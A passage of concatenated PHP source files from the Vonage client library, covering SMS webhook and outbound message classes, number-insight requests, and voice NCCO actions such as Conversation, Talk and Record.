$this->concatTotal; } public function getData(): ?string { return $this->data; } public function getKeyword(): string { return $this->keyword; } public function getMessageId(): string { return $this->messageId; } /** * Time the message was accepted and delivery receipt was generated */ public function getMessageTimestamp(): DateTimeImmutable { return $this->messageTimestamp; } public function getMsisdn(): string { return $this->msisdn; } public function getFrom(): string { return $this->msisdn; } public function getNonce(): string { return $this->nonce; } public function getText(): string { return $this->text; } /** * Return the timestamp used for signature verification * If you are looking for the time of message creation, please use * `getMessageTimestamp()` */ public function getTimestamp(): ?int { return $this->timestamp; } public function getTo(): string { return $this->to; } public function getType(): string { return $this->type; } public function getUdh(): ?string { return $this->udh; } public function getSignature(): string { return $this->signature; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\SMS\Webhook; use DateTimeImmutable; use Exception; use InvalidArgumentException; use function array_key_exists; use function filter_var; class DeliveryReceipt { /** * Message was delivered successfully */ public const CODE_DELIVERED = 0; /** * Message was not delivered, and no reason could be determined */ public const CODE_UNKNOWN = 1; /** * Message was not delivered because handset was temporarily unavailable - retry */ public const CODE_ABSENT_TEMPORARY = 2; /** * The number is no longer active and should be removed from your database */ public const CODE_ABSENT_PERMANENT = 3; /** * This is a permanent error. * The number should be removed from your database and the user must * contact their network operator to remove the bar */ public const CODE_BARRED = 4; /** * There is an issue relating to portability of the number and you should contact the network operator to resolve it */ public const CODE_PORTABILITY_ERROR = 5; /** * The message has been blocked by a carrier's anti-spam filter */ public const CODE_SPAM_REJECTION = 6; /** * The handset was not available at the time the message was sent - retry */ public const CODE_HANDSET_BUSY = 7; /** * The message failed due to a network error - retry */ public const CODE_NETWORK_ERROR = 8; /** * The user has specifically requested not to receive messages from a specific service */ public const CODE_ILLEGAL_NUMBER = 9; /** * There is an error in a message parameter, e.g. wrong encoding flag */ public const CODE_ILLEGAL_MESSAGE = 10; /** * Vonage cannot find a suitable route to deliver the message * Contact support@Vonage.com */ public const CODE_UNROUTABLE = 11; /** * A route to the number cannot be found - confirm the recipient's number */ public const CODE_UNREACHABLE = 12; /** * The target cannot receive your message due to their age */ public const CODE_AGE_RESTRICTION = 13; /** * The recipient should ask their carrier to enable SMS on their plan */ public const CODE_CARRIER_BLOCK = 14; /** * The recipient is on a prepaid plan and does not have enough credit to receive your message */ public const CODE_INSUFFICIENT_FUNDS = 15; /** * Typically refers to an error in the route * Contact support@Vonage.com */ public const CODE_GENERAL_ERROR = 99; /** * Message has been accepted for delivery, but has not yet been delivered */ public const STATUS_ACCEPTED = 'accepted'; /** * Message has been delivered */ public const STATUS_DELIVERED = 'delivered'; /** * Message has been buffered for later delivery */ public const STATUS_BUFFERED = 'buffered'; /** * Message was held at downstream carrier's retry scheme and could not be delivered within the expiry time */ public const STATUS_EXPIRED = 'expired'; /** * Message not delivered */ public const STATUS_FAILED = 'failed'; /** * Downstream carrier refuses to deliver message */ public const STATUS_REJECTED = 'rejected'; /** * No useful information available */ public const STATUS_UNKNOWN = 'unknown'; public static $requiredFields = [ 'err-code', 'message-timestamp', 'messageId', 'msisdn', 'price', 'status', 'to' ]; /** * @var int */ protected $errCode; /** * @var DateTimeImmutable */ protected $messageTimestamp; /** * @var string */ protected $messageId; /** * @var string */ protected $msisdn; /** * @var string */ protected $networkCode; /** * @var string */ protected $price; /** * @var string */ protected $scts; /** * @var string */ protected $status; /** * @var string */ protected $to; /** * @var string */ protected $apiKey; /** * @var mixed|string */ protected $clientRef; /** * @param array<string, string> $data * * @throws Exception */ public function __construct(array $data) { foreach (static::$requiredFields as $key) { if (!array_key_exists($key, $data)) { throw new InvalidArgumentException('Delivery Receipt missing required data `' . $key . '`'); } } $this->errCode = filter_var($data['err-code'], FILTER_VALIDATE_INT, FILTER_NULL_ON_FAILURE); $this->messageTimestamp = new DateTimeImmutable($data['message-timestamp']); $this->messageId = $data['messageId']; $this->msisdn = $data['msisdn']; $this->price = $data['price']; $this->status = $data['status']; $this->to = $data['to']; $this->apiKey = $data['api-key']; if (isset($data['network-code'])) { $this->networkCode = $data['network-code']; } if (isset($data['client-ref'])) { $this->clientRef = $data['client-ref']; } if (isset($data['scts'])) { $this->scts = $data['scts']; } } public function getErrCode(): int { return $this->errCode; } public function getMessageTimestamp(): DateTimeImmutable { return $this->messageTimestamp; } public function getMessageId(): string { return $this->messageId; } public function getMsisdn(): string { return $this->msisdn; } public function getNetworkCode(): string { return $this->networkCode; } public function getPrice(): string { return $this->price; } public function getScts(): ?string { return $this->scts; } public function getStatus(): string { return $this->status; } public function getTo(): string { return $this->to; } public function getApiKey(): string { return $this->apiKey; } public function getClientRef(): ?string { return $this->clientRef ?? null; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\SMS\Webhook; use Exception; use InvalidArgumentException; use Vonage\Webhook\Factory as WebhookFactory; use function array_intersect; use function array_key_exists; use function array_keys; use function count; class Factory extends WebhookFactory { /** * @throws Exception * * @return mixed|DeliveryReceipt|InboundSMS */ public static function createFromArray(array $data) { // We are dealing with only two webhooks here. One has the text field, one does not. // A sort of if/else style block here smells a bit, ideally the backend needs to change. if (!array_key_exists('text', $data)) { return new DeliveryReceipt($data); } if ( count(array_intersect(array_keys($data), InboundSMS::$requiredFields)) === count(InboundSMS::$requiredFields) ) { return new InboundSMS($data); } throw new InvalidArgumentException("Unable to determine incoming webhook type"); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\SMS\Message; class SMS extends OutboundMessage { public const GSM_7_CHARSET = "\n\f\r !\"\#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_abcdefghijklmnopqrstuvwxyz{|}~ ¡£¤¥§¿ÄÅÆÇÉÑÖØÜßàäåæèéìñòöøùüΓΔΘΛΞΠΣΦΨΩ€"; protected ?string $contentId; protected ?string $entityId; /** * @var string */ protected string $type = 'text'; public function __construct(string $to, string $from, protected string $message, string $type = 'text') { parent::__construct($to, $from); $this->setType($type); } public static function isGsm7(string $message): bool { $fullPattern = "/\A[" . preg_quote(self::GSM_7_CHARSET, '/') . "]*\z/u"; return (bool)preg_match($fullPattern, $message); } public function getContentId(): string { return $this->contentId; } public function getEntityId(): string { return $this->entityId; } public function setContentId(string $id): self { $this->contentId = $id; return $this; } public function setEntityId(string $id): self { $this->entityId = $id; return $this; } public function getWarningMessage(): ?string { if ($this->getType() === 'text' && ! self::isGsm7($this->getMessage())) { $this->setWarningMessage("You are sending a message as `text` which contains non-GSM7 characters. This could result in encoding problems with the target device - See https://developer.vonage.com/messaging/sms for details, or email support@vonage.com if you have any questions."); } return $this->warningMessage; } /** * @return array<mixed> */ public function toArray(): array { $data = ['text' => $this->getMessage()]; if (!empty($this->entityId)) { $data['entity-id'] = $this->entityId; } if (!empty($this->contentId)) { $data['content-id'] = $this->contentId; } $data = $this->appendUniversalOptions($data); return $data; } public function getMessage(): string { return $this->message; } public function enableDLT(string $entityId, string $templateId): self { $this->entityId = $entityId; $this->contentId = $templateId; return $this; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\SMS\Message; interface Message { public function toArray(): array; public function getErrorMessage(): ?string; public function getWarningMessage(): ?string; public function setWarningMessage(?string $errorMessage): void; } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\SMS\Message; use InvalidArgumentException; use function array_merge; use function is_null; use function strlen; abstract class OutboundMessage implements Message { protected ?string $accountRef = null; protected ?string $clientRef = null; protected ?string $deliveryReceiptCallback = null; protected ?int $messageClass = null; protected bool $requestDeliveryReceipt = true; /** * TTL of the SMS delivery, in milliseconds * * @var int */ protected $ttl = 259200000; protected ?string $warningMessage = null; /** * Type of message, set by the child class * * @var string */ protected string $type; public function __construct(protected string $to, protected string $from) { } /** * @deprecated Shim when correcting naming conventions, will be removed when it comes out the interface */ public function getErrorMessage(): ?string { return $this->getWarningMessage(); } public function getWarningMessage(): ?string { return $this->warningMessage; } public function setWarningMessage(?string $errorMessage): void { $this->warningMessage = $errorMessage; } abstract public function toArray(): array; public function getTtl(): int { return $this->ttl; } /** * @return $this */ public function setTtl(int $ttl): self { if ($ttl < 20000 || $ttl > 604800000) { throw new InvalidArgumentException('SMS TTL must be in the range of 20000-604800000 milliseconds'); } $this->ttl = $ttl; return $this; } public function getRequestDeliveryReceipt(): bool { return $this->requestDeliveryReceipt; } /** * @return $this */ public function setRequestDeliveryReceipt(bool $requestDeliveryReceipt): self { $this->requestDeliveryReceipt = $requestDeliveryReceipt; return $this; } public function getDeliveryReceiptCallback(): ?string { return $this->deliveryReceiptCallback; } /** * @return $this */ public function setDeliveryReceiptCallback(string $deliveryReceiptCallback): self { $this->deliveryReceiptCallback = $deliveryReceiptCallback; $this->setRequestDeliveryReceipt(true); return $this; } public function getMessageClass(): int { return $this->messageClass; } /** * @return $this */ public function setMessageClass(int $messageClass): self { if ($messageClass < 0 || $messageClass > 3) { throw new InvalidArgumentException('Message Class must be 0-3'); } $this->messageClass = $messageClass; return $this; } public function getClientRef(): string { return $this->clientRef; } /** * @return $this */ public function setClientRef(string $clientRef): self { if (strlen($clientRef) > 40) { throw new InvalidArgumentException('Client Ref can be no more than 40 characters'); } $this->clientRef = $clientRef; return $this; } /** * This adds any additional options to an individual SMS request * This allows the child classes to set their special request options, * and then filter through here for additional request options; */ protected function appendUniversalOptions(array $data): array { $data = array_merge($data, [ 'to' => $this->getTo(), 'from' => $this->getFrom(), 'type' => $this->getType(), 'ttl' => $this->getTtl(), 'status-report-req' => (int)$this->getRequestDeliveryReceipt(), ]); if ($this->getRequestDeliveryReceipt() && !is_null($this->getDeliveryReceiptCallback())) { $data['callback'] = $this->getDeliveryReceiptCallback(); } if (!is_null($this->messageClass)) { $data['message-class'] = $this->getMessageClass(); } if ($this->accountRef) { $data['account-ref'] = $this->getAccountRef(); } if ($this->clientRef) { $data['client-ref'] = $this->getClientRef(); } return $data; } public function getFrom(): string { return $this->from; } public function getTo(): string { return $this->to; } public function getAccountRef(): ?string { return $this->accountRef; } /** * @return $this */ public function setAccountRef(string $accountRef): OutboundMessage { $this->accountRef = $accountRef; return $this; } public function getType(): string { return $this->type; } public function setType(string $type): OutboundMessage { $this->type = $type; return $this; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\SMS\Message; class Binary extends OutboundMessage { /** * @var string */ protected string $type = 'binary'; public function __construct(string $to, string $from, protected string $body, protected string $udh, protected ?int $protocolId = null) { parent::__construct($to, $from); } /** * @return mixed */ public function toArray(): array { $data = [ 'body' => $this->getBody(), 'udh' => $this->getUdh(), ]; if ($this->getProtocolId()) { $data['protocol-id'] = $this->getProtocolId(); } $data = $this->appendUniversalOptions($data); return $data; } public function getBody(): string { return $this->body; } public function getUdh(): string { return $this->udh; } public function getProtocolId(): ?int { return $this->protocolId; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Network\Number; use BadMethodCallException; use Vonage\Client\Callback\Callback as BaseCallback; use function substr; /** * @method null|string getType() * @method bool hasType() * @method null|string getNetwork() * @method bool hasNetwork() * @method null|string getNetworkName() * @method bool hasNetworkName() * @method null|string getValid() * @method bool hasValid() * @method null|string getPorted() * @method bool hasPorted() * @method null|string getReachable() * @method bool hasReachable() * @method null|string getRoaming() * @method bool hasRoaming() * @method null|string getRoamingCountry() * @method bool hasRoamingCountry() * @method null|string getRoamingNetwork() * @method bool hasRoamingNetwork() */ class Callback extends BaseCallback { protected $expected = ['request_id', 'callback_part', 'callback_total_parts', 'number', 'status']; protected $optional = [ 'Type' => 'number_type', 'Network' => 'carrier_network_code', 'NetworkName' => 'carrier_network_name', 'Valid' => 'valid', 'Ported' => 'ported', 'Reachable' => 'reachable', 'Roaming' => 'roaming', 'RoamingCountry' => 'roaming_country_code', 'RoamingNetwork' => 'roaming_network_code', ]; public function getId() { return $this->data['request_id']; } public function getCallbackTotal() { return $this->data['callback_total_parts']; } public function getCallbackIndex() { return $this->data['callback_part']; } public function getNumber() { return $this->data['number']; } /** * @param $name * @param $args */ public function __call($name, $args) { $type = substr($name, 0, 3); $property = substr($name, 3); if (!isset($this->optional[$property])) { throw new BadMethodCallException('property does not exist: ' . $property); } $property = $this->optional[$property]; return match ($type) { 'get' => $this->data[$property] ?? null, 'has' => isset($this->data[$property]), default => throw new BadMethodCallException('method does not exist: ' . $name), }; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Network\Number; use Vonage\Client\Request\AbstractRequest; use Vonage\Client\Request\WrapResponseInterface; use Vonage\Client\Response\Error; use Vonage\Client\Response\ResponseInterface; use function implode; class Request extends AbstractRequest implements WrapResponseInterface { public const FEATURE_TYPE = 'type'; public const FEATURE_VALID = 'valid'; public const FEATURE_REACHABLE = 'reachable'; public const FEATURE_CARRIER = 'carrier'; public const FEATURE_PORTED = 'ported'; public const FEATURE_ROAMING = 'roaming'; public const FEATURE_SUBSCRIBER = 'subscriber'; /** * @var array */ protected $params; /** * @param $number * @param $callback */ public function __construct($number, $callback, array $features = [], $timeout = null, $method = null, $ref = null) { $this->params['number'] = $number; $this->params['callback'] = $callback; $this->params['callback_timeout'] = $timeout; $this->params['callback_method'] = $method; $this->params['client_ref'] = $ref; if (!empty($features)) { $this->params['features'] = implode(',', $features); } } public function getURI(): string { return '/ni/json'; } public function wrapResponse(ResponseInterface $response): ResponseInterface { if ($response->isError()) { return new Error($response->getData()); } return new Response($response->getData()); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Network\Number; use BadMethodCallException; use InvalidArgumentException; use Vonage\Client\Response\Response as BaseResponse; use function array_merge; use function count; class Response extends BaseResponse { protected $callbacks = []; public function __construct(array $data, array $callbacks = []) { //add expected keys $this->expected = array_merge($this->expected, [ 'request_id', 'number', 'request_price', 'remaining_balance', 'callback_total_parts' ]); parent::__construct($data); foreach ($callbacks as $callback) { if (!($callback instanceof Callback)) { throw new InvalidArgumentException('callback must be of type: Vonage\Network\Number\Callback'); } if ($callback->getId() !== $this->getId()) { throw new InvalidArgumentException('callback id must match request id'); } } $this->callbacks = $callbacks; } public function getCallbackTotal() { return $this->data['callback_total_parts']; } public function isComplete(): bool { return count($this->callbacks) === $this->getCallbackTotal(); } public function getPrice() { return $this->data['request_price']; } public function getBalance() { return $this->data['remaining_balance']; } public function getNumber() { return $this->data['number']; } public function getId() { return $this->data['request_id']; } public function getStatus() { return $this->data['status']; } /** * @param $name * @param $args * * @todo This looks somewhat illogical */ public function __call($name, $args) { if (empty($this->callbacks)) { throw new BadMethodCallException('can not check for response data without callback data'); } foreach ($this->callbacks as $callback) { if ($last = $callback->$name()) { return $last; } } /** @noinspection PhpUndefinedVariableInspection */ return $last; } public function getCallbacks(): array { return $this->callbacks; } public static function addCallback(Response $response, callable $callback): Response { $callbacks = $response->getCallbacks(); $callbacks[] = $callback; return new static($response->getData(), $callbacks); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice; /** * Collection of actions that can be used to modify a call */ class CallAction { public const EARMUFF = 'earmuff'; public const HANGUP = 'hangup'; public const MUTE = 'mute'; public const UNEARMUFF = 'unearmuff'; public const UNMUTE = 'unmute'; } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\NCCO; use InvalidArgumentException; use Vonage\Voice\Endpoint\EndpointFactory; use Vonage\Voice\NCCO\Action\ActionInterface; use Vonage\Voice\NCCO\Action\Connect; use Vonage\Voice\NCCO\Action\Conversation; use Vonage\Voice\NCCO\Action\Input; use Vonage\Voice\NCCO\Action\Notify; use Vonage\Voice\NCCO\Action\Record; use Vonage\Voice\NCCO\Action\Stream; use Vonage\Voice\NCCO\Action\Talk; class NCCOFactory { /** * @param $data */ public function build($data): ActionInterface { switch ($data['action']) { case 'connect': $factory = new EndpointFactory(); $endpoint = $factory->create($data['endpoint'][0]); if (null !== $endpoint) { return Connect::factory($endpoint); } throw new InvalidArgumentException("Malformed NCCO Action " . $data['endpoint'][0]); case 'conversation': return Conversation::factory($data['name'], $data); case 'input': return Input::factory($data); case 'notify': return Notify::factory($data['payload'], $data); case 'record': return Record::factory($data); case 'stream': return Stream::factory($data['streamUrl'], $data); case 'talk': return Talk::factory($data['text'], $data); default: throw new InvalidArgumentException("Unknown NCCO Action " . $data['action']); } } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\NCCO; use JsonSerializable; use Vonage\Entity\Hydrator\ArrayHydrateInterface; use Vonage\Voice\NCCO\Action\ActionInterface; class NCCO implements ArrayHydrateInterface, JsonSerializable { /** * @var array<ActionInterface> */ protected $actions = []; /** * @return $this */ public function addAction(ActionInterface $action): self { $this->actions[] = $action; return $this; } public function fromArray(array $data): void { $factory = new NCCOFactory(); foreach ($data as $rawNCCO) { $action = $factory->build($rawNCCO); $this->addAction($action); } } /** * @return array<array<string, string>> */ public function jsonSerialize(): array { return $this->toArray(); } /** * @return array<array<string, string>> */ public function toArray(): array { $data = []; foreach ($this->actions as $action) { $data[] = $action->toNCCOArray(); } return $data; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\NCCO\Action; use Vonage\Voice\Webhook; use function array_key_exists; use function filter_var; use function is_array; use function is_null; class Conversation implements ActionInterface { /** * @var ?string */ protected $musicOnHoldUrl; /** * @var bool */ protected $startOnEnter; /** * @var bool */ protected $endOnExit; /** * @var bool */ protected $record; /** * @var ?array<string> */ protected $canSpeak; /** * @var ?array<string> */ protected $canHear; /** * @var Webhook */ protected $eventWebhook; public function __construct(protected string $name) { } public function getName(): string { return $this->name; } public function getMusicOnHoldUrl(): ?string { return $this->musicOnHoldUrl; } /** * @return $this */ public function setMusicOnHoldUrl(string $musicOnHoldUrl): self { $this->musicOnHoldUrl = $musicOnHoldUrl; return $this; } public function getStartOnEnter(): ?bool { return $this->startOnEnter; } /** * @return $this */ public function setStartOnEnter(bool $startOnEnter): self { $this->startOnEnter = $startOnEnter; return $this; } public function getEndOnExit(): ?bool { return $this->endOnExit; } /** * @return $this */ public function setEndOnExit(bool $endOnExit): self { $this->endOnExit = $endOnExit; return $this; } public function getRecord(): ?bool { return $this->record; } /** * @return $this */ public function setRecord(bool $record): self { $this->record = $record; return $this; } /** * @return ?array<string> */ public function getCanSpeak(): ?array { return $this->canSpeak; } /** * @param array<string> $canSpeak * * @return Conversation */ public function setCanSpeak(array $canSpeak): self { $this->canSpeak = $canSpeak; return $this; } /** * @return $this */ public function addCanSpeak(string $uuid): self { $this->canSpeak[] = $uuid; return $this; } /** * @return ?array<string> */ public function getCanHear(): ?array { return $this->canHear; } /** * @param array<string> $canHear * * @return Conversation */ public function setCanHear(array $canHear): self { $this->canHear = $canHear; return $this; } /** * @return $this */ public function addCanHear(string $uuid): self { $this->canHear[] = $uuid; return $this; } /** * @param array{ * musicOnHoldUrl?: string, * startOnEnter?: bool, * endOnExit?: bool, * record?: bool, * canSpeak?: array, * canHear?: array * } $data */ public static function factory(string $name, array $data): Conversation { $talk = new Conversation($name); if (array_key_exists('musicOnHoldUrl', $data)) { $talk->setMusicOnHoldUrl($data['musicOnHoldUrl']); } if (array_key_exists('startOnEnter', $data)) { $talk->setStartOnEnter( filter_var($data['startOnEnter'], FILTER_VALIDATE_BOOLEAN, ['flags' => FILTER_NULL_ON_FAILURE]) ); } if (array_key_exists('endOnExit', $data)) { $talk->setEndOnExit( filter_var($data['endOnExit'], FILTER_VALIDATE_BOOLEAN, ['flags' => FILTER_NULL_ON_FAILURE]) ); } if (array_key_exists('record', $data)) { $talk->setRecord( filter_var($data['record'], FILTER_VALIDATE_BOOLEAN, ['flags' => FILTER_NULL_ON_FAILURE]) ); } if (array_key_exists('canSpeak', $data)) { $talk->setCanSpeak($data['canSpeak']); } if (array_key_exists('canHear', $data)) { $talk->setCanHear($data['canHear']); } if (array_key_exists('eventUrl', $data)) { if (is_array($data['eventUrl'])) { $data['eventUrl'] = $data['eventUrl'][0]; } if (array_key_exists('eventMethod', $data)) { $webhook = new Webhook($data['eventUrl'], $data['eventMethod']); } else { $webhook = new Webhook($data['eventUrl']); } $talk->setEventWebhook($webhook); } return $talk; } /** * @return array<string, mixed> */ public function jsonSerialize(): array { return $this->toNCCOArray(); } /** * @return array<string, mixed> */ public function toNCCOArray(): array { $data = [ 'action' => 'conversation', 'name' => $this->getName(), ]; if (!is_null($this->getStartOnEnter())) { $data['startOnEnter'] = $this->getStartOnEnter() ? 'true' : 'false'; } if (!is_null($this->getEndOnExit())) { $data['endOnExit'] = $this->getEndOnExit() ? 'true' : 'false'; } if (!is_null($this->getRecord())) { $data['record'] = $this->getRecord() ? 'true' : 'false'; } $music = $this->getMusicOnHoldUrl(); if ($music) { $data['musicOnHoldUrl'] = [$music]; } $canSpeak = $this->getCanSpeak(); if ($canSpeak) { $data['canSpeak'] = $canSpeak; } $canHear = $this->getCanHear(); if ($canHear) { $data['canHear'] = $canHear; } if ($this->getEventWebhook()) { $data['eventUrl'] = [$this->getEventWebhook()->getUrl()]; $data['eventMethod'] = $this->getEventWebhook()->getMethod(); } return $data; } public function getEventWebhook(): ?Webhook { return $this->eventWebhook; } /** * @return $this */ public function setEventWebhook(Webhook $eventWebhook): Conversation { $this->eventWebhook = $eventWebhook; return $this; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\NCCO\Action; use function array_key_exists; use function filter_var; use function is_null; class Talk implements ActionInterface { protected bool $bargeIn = false; protected string $language = ''; protected int $languageStyle = 0; protected ?float $level = 0; protected int $loop = 1; protected bool $premium = false; public function __construct(protected ?string $text = null) { } /** * @param array{text: string, bargeIn?: bool, level?: float, style? : string, language?: string, premium?: bool, loop?: int} $data */ public static function factory(string $text, array $data): Talk { $talk = new Talk($text); if (array_key_exists('voiceName', $data)) { trigger_error( 'voiceName is deprecated and will not be added to the NCCO', E_USER_DEPRECATED ); } if (array_key_exists('bargeIn', $data)) { $talk->setBargeIn( filter_var($data['bargeIn'], FILTER_VALIDATE_BOOLEAN, ['flags' => FILTER_NULL_ON_FAILURE]) ); } if (array_key_exists('premium', $data)) { $talk->setPremium( filter_var($data['premium'], FILTER_VALIDATE_BOOLEAN, ['flags' => FILTER_NULL_ON_FAILURE]) ); } if (array_key_exists('level', $data)) { $talk->setLevel( filter_var($data['level'], FILTER_VALIDATE_FLOAT, ['flags' => FILTER_NULL_ON_FAILURE]) ); } if (array_key_exists('loop', $data)) { $talk->setLoop( filter_var($data['loop'], FILTER_VALIDATE_INT, ['flags' => FILTER_NULL_ON_FAILURE]) ); } if (array_key_exists('language', $data)) { if (array_key_exists('style', $data)) { $talk->setLanguage($data['language'], (int) $data['style']); } else { $talk->setLanguage($data['language']); } } return $talk; } public function getBargeIn(): ?bool { return $this->bargeIn; } public function getLevel(): ?float { return $this->level; } public function getLoop(): ?int { return $this->loop; } public function getText(): string { return $this->text; } /** * @return array{action: string, bargeIn: bool, level: float, loop: int, text: string} */ public function jsonSerialize(): array { return $this->toNCCOArray(); } public function setBargeIn(bool $value): self { $this->bargeIn = $value; return $this; } /** * @return $this */ public function setLevel(float $level): self { $this->level = $level; return $this; } public function setLoop(int $times): self { $this->loop = $times; return $this; } /** * @return $this */ public function setPremium(bool $premium): self { $this->premium = $premium; return $this; } public function getPremium(): bool { return $this->premium; } /** * @return array{action: string, bargeIn: bool, level: string, loop: string, text: string, premium: string, language: string, style: string} */ public function toNCCOArray(): array { $data = [ 'action' => 'talk', 'text' => $this->getText(), ]; if (!is_null($this->getBargeIn())) { $data['bargeIn'] = $this->getBargeIn() ? 'true' : 'false'; } if (!is_null($this->getLevel())) { $data['level'] = (string)$this->getLevel(); } if (!is_null($this->getLoop())) { $data['loop'] = (string)$this->getLoop(); } if ($this->getLanguage()) { $data['language'] = $this->getLanguage(); $data['style'] = (string) $this->getLanguageStyle(); } if (!is_null($this->getPremium())) { $data['premium'] = $this->getPremium() ? 'true' : 'false'; } return $data; } public function setLanguage(string $language, int $style = 0): self { $this->language = $language; $this->languageStyle = $style; return $this; } public function getLanguage(): ?string { return $this->language; } public function getLanguageStyle(): int { return $this->languageStyle; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Voice\NCCO\Action; use InvalidArgumentException; use Vonage\Voice\Webhook; use function array_key_exists; use function filter_var; use function preg_match; class Record implements ActionInterface { public const FORMAT_MP3 = "mp3"; public const FORMAT_WAV = "wav"; public const FORMAT_OGG = "ogg"; public const SPLIT = 'conversation'; /** * @var string Record::FORMAT_* */ protected $format = 'mp3'; /** * @var string Record::SPLIT */ protected $split; /** * @var int */ protected $channels; /** * @var int */ protected $endOnSilence; /** * @var string '*'|'#'|1'|2'|'3'|'4'|'5'|'6'|'7'|'8'|'9'|'0' */ protected $endOnKey; /** * @var int */ protected $timeOut = 7200; /** * @var bool */ protected $beepStart = false; /** * @var Webhook */ protected $eventWebhook; /** * @return static */ public static function factory(array $data): self { $action = new self(); if (array_key_exists('format', $data)) { $action->setFormat($data['format']); } if (array_key_exists('split', $data)) { $action->setSplit($data['split']); } if (array_key_exists('channels', $data)) { $action->setChannels($data['channels']); } if (array_key_exists('endOnSilence', $data)) { $action->setEndOnSilence( filter_var($data['endOnSilence'], FILTER_VALIDATE_INT, FILTER_NULL_ON_FAILURE) ); } if (array_key_exists('endOnKey', $data)) { $action->setEndOnKey($data['endOnKey']); } if (array_key_exists('timeOut', $data)) { $action->setTimeout($data['timeOut']); } if (array_key_exists('beepStart', $data)) { $action->setBeepStart( filter_var($data['beepStart'], FILTER_VALIDATE_BOOLEAN, ['flags' => FILTER_NULL_ON_FAILURE]) ); } if (array_key_exists('eventUrl', $data)) { if (array_key_exists('eventMethod', $data)) { $webhook = new Webhook($data['eventUrl'], $data['eventMethod']); } else { $webhook = new Webhook($data['eventUrl']); } $action->setEventWebhook($webhook); } return $action; } /** * @return array<string, mixed> */ public function jsonSerialize(): array { return $this->toNCCOArray(); } /** * @return array<string, mixed> */ public function toNCCOArray(): array { $data = [ 'action' => 'record', 'format' => $this->getFormat(), 'timeOut' => (string)$this->getTimeout(), 'beepStart' => $this->getBeepStart() ? 'true' : 'false', ]; if ($this->getEndOnSilence()) { $data['endOnSilence'] = (string)$this->getEndOnSilence(); } if ($this->getEndOnKey()) { $data['endOnKey'] = $this->getEndOnKey(); } if ($this->getChannels()) { $data['channels'] = (string)$this->getChannels(); } if ($this->getSplit()) { $data['split'] = $this->getSplit(); } if ($this->getEventWebhook()) { $data['eventUrl'] = [$this->getEventWebhook()->getUrl()]; $data['eventMethod'] = $this->getEventWebhook()->getMethod(); } return $data; } public function getFormat(): string { return $this->format; } /** * @return $this */ public function setFormat(string $format): self { $this->format = $format; return $this; } public function getSplit(): ?string { return $this->split; } /** * @return $this */ public function setSplit(string $split): self { if ($split !== 'conversation') { throw new InvalidArgumentException('Split value must be "conversation" if enabling'); } $this->split = $split; return $this; } public function getEndOnKey(): ?string { return $this->endOnKey; } /** * @return $this */ public function setEndOnKey(string $endOnKey): self { $match = preg_match('/^[*#0-9]$/', $endOnKey); if ($match === 0 || $match === false) { throw new InvalidArgumentException('Invalid End on Key character'); } $this->endOnKey = $endOnKey; return $this; } public function 